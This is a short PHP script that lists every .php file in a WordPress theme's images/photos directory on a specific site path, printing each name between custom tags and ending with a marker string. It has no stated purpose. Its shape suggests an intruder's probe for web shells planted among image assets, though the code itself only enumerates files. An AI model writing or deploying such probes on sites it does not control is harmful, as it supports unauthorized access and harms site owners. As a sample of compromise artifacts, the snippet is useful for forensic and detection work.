<?php   foreach (glob("/var/www/csmart.pl/new/wp-content/themes/twentyseventeen/assets/images/photos/*.php") as $filename) {     echo "<f>".basename($filename)."</f>"; } die('!ended!'); 